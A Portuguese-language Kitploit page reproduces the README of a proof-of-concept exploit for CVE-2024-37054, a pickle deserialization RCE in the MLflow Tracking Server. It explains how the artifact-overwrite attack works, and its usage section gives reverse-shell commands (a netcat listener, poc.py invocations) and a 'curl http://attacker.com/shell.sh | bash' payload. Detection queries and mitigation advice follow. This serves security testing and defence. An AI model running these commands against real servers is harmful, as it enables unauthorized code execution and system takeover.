Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-37054 — Prova de conceito de exploit para CVE-2024-37054, uma RCE por desserialização de pickle no MLflow Tracking Server. Atacantes autenticados podem sobrescrever artefatos de modelo para obter execução remota de código. Inclui orientações de detecção e mitigação. | Kitploit
Ferramentas/GitHubGitHub/ben-slates/cve-2024-37054
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubben-slates/cve-2024-37054

CVE-2024-37054

Prova de conceito de exploit para CVE-2024-37054, uma RCE por desserialização de pickle no MLflow Tracking Server. Atacantes autenticados podem sobrescrever artefatos de modelo para obter execução remota de código. Inclui orientações de detecção e mitigação.

Ver Repositório
545há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-37054 — Desserialização Pickle RCE no MLflow

Python CVE CVSS Affected License

Prova de conceito para uma vulnerabilidade crítica de desserialização pickle no MLflow Tracking Server, permitindo execução remota de código autenticada.

⚠️ Apenas para fins educacionais e testes de segurança autorizados. Não use contra sistemas que não possui ou sem permissão explícita por escrito.


Visão Geral da Vulnerabilidade

CampoValor
ID CVECVE-2024-37054
Pontuação CVSS8.8 (ALTA)
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Versões AfetadasMLflow < 2.14.3
Versão CorrigidaMLflow ≥ 2.14.3
Tipo de VulnerabilidadeCWE-502: Desserialização de Dados Não Confiáveis
Vetor de AtaqueRede
Privilégios NecessáriosBaixo (credenciais válidas)
Interação do UsuárioNenhuma

Descrição

O MLflow Tracking Server desserializa artefatos de modelo via módulo pickle do Python ao carregar modelos para inferência. Um atacante autenticado pode sobrescrever o artefato python_model.pkl no repositório de artefatos do MLflow com uma carga pickle maliciosa. Quando o modelo é carregado posteriormente (por exemplo, durante uma requisição de predição), a carga é desserializada, executando código arbitrário no servidor.

Pré-requisitos para exploração:

  • Acesso de rede ao MLflow Tracking Server
  • Credenciais MLflow válidas (padrão ou outras)
  • Acesso de escrita aos artefatos (concedido a todos os usuários autenticados)

Impacto

A exploração bem-sucedida resulta em execução remota de código no nível de privilégio do processo do servidor MLflow, o que pode levar ao comprometimento total do sistema, exfiltração de dados, movimento lateral ou acesso persistente.


Como o Exploit Funciona

  1. Registro do Modelo — Um conjunto de dados de treinamento legítimo é enviado para criar uma nova execução MLflow e registrar uma versão do modelo com artefatos padrão.
  2. Sobrescrita de Artefato — O artefato python_model.pkl é substituído por uma carga pickle manipulada via PUT /api/2.0/mlflow-artifacts/artifacts/....
  3. Acionamento da Desserialização — Uma requisição de predição faz o MLflow chamar pickle.load() no artefato comprometido.
  4. Execução de Código — O método __reduce__ do pickle invoca os.system(), executando o comando do atacante.

A carga usa os.system() (um built-in C) em vez de cloudpickle para maximizar a compatibilidade entre versões e evitar problemas de bytecode específicos da versão do Python.


Instalação

Requisitos: Python 3.7+, requests

root@kitploit:~
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

Uso

root@kitploit:~
# Inicie um listener
nc -lvnp 4444

# Execute o exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

Exemplos

root@kitploit:~
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

Opções

ArgumentoDescrição
targetURL da aplicação alvo
mlflowURL do servidor MLflow Tracking
lhostHost do atacante para callback do reverse shell
lportPorta do atacante para callback do reverse shell
--mlflow-creds USER:PASSCredenciais MLflow (padrão: admin:password)
--app-usernameNome de usuário de login da aplicação
--app-passwordSenha de login da aplicação
--app-login-urlCaminho do endpoint de login
--upload-urlCaminho do endpoint de upload
--predict-urlCaminho do endpoint de predição
--experiment-id IDAlvejar um ID específico do experimento
--delay SECONDSAtraso entre etapas (padrão: 2s)
--cmd COMMANDComando personalizado a executar
--verbose / --quietControle de verbosidade
--no-colorDesabilitar saída colorida

Detecção

Indicadores de Rede

  • Requisições PUT para endpoints /api/2.0/mlflow-artifacts/artifacts/
  • Carimbos de data/hora de modificação inesperados em python_model.pkl
  • POST /api/2.0/mlflow/runs/search seguido imediatamente por modificações nos artefatos

Indicadores de Host

  • Chamadas inesperadas a os.system() a partir de processos MLflow
  • Subprocessos Python gerados a partir de processos workers MLflow
  • Conexões de saída do servidor MLflow para hosts desconhecidos

Consultas de Log

root@kitploit:~
# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

Mitigação

Imediata:

  • Atualizar o MLflow para 2.14.3 ou superior
  • Trocar quaisquer credenciais padrão ou fracas
  • Restringir acesso de rede aos endpoints da API MLflow
  • Auditar o histórico de modificação de artefatos em busca de sinais de adulteração

Longo prazo:

  • Implementar assinatura de artefatos e verificação de integridade antes de carregar modelos
  • Usar aplicação de assinatura de modelo e restringir sabores de modelo baseados em pickle quando possível
  • Habilitar logging de auditoria do MLflow e alertar sobre escritas inesperadas em artefatos

Ambientes Testados

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • Várias configurações de implantação: local, Docker, Kubernetes

Referências

  • NVD — CVE-2024-37054
  • MLflow Security Advisory
  • CWE-502: Deserialization of Untrusted Data
  • MLflow Documentation — Model Registry

Aviso Legal

Esta ferramenta destina-se exclusivamente a:

  • Pesquisadores de segurança estudando vulnerabilidades de desserialização
  • Testadores de penetração operando sob autorização por escrito
  • Administradores de sistema auditando suas próprias implantações MLflow
  • Uso educacional em ambientes controlados de laboratório

Não use esta ferramenta em qualquer sistema que você não possua ou sem permissão explícita por escrito para testar. O autor não assume nenhuma responsabilidade pelo uso indevido.


Licença

MIT — consulte LICENSE para detalhes.


Contato

📧 [email protected]
🐛 Reporte um problema

Baixar ferramenta